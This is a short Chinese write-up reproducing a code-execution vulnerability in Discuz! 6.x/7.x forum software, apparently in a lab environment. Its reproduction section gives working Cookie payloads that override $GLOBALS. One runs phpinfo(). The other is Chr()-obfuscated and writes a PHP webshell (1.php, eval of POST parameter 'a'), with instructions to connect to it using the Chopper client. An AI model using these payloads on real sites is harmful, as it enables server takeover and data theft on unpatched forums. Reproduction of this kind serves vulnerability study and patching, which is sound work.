0X01 漏洞介绍
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。
0x02 影响版本
Discuz 7.x6.x
0x03 搭建环境
启动后,访问http://your-ip:8080/install/来安装discuz,数据库地址填写db,数据库名为discuz
0x04 漏洞复现
安装成功后,直接找一个已存在的帖子,截断其数据包,将Cookie改为:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui;GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
成功执行phpinfo();
写入webshell,将Cookie改为:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(49).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
菜刀连接http://your-ip:8080/1.php,密码a:
0x05 修复方案
官方已经停止对 Discuz! 6.x/7.x 产品的维护,请尽快将您的 Discuz! 升级到最新版本。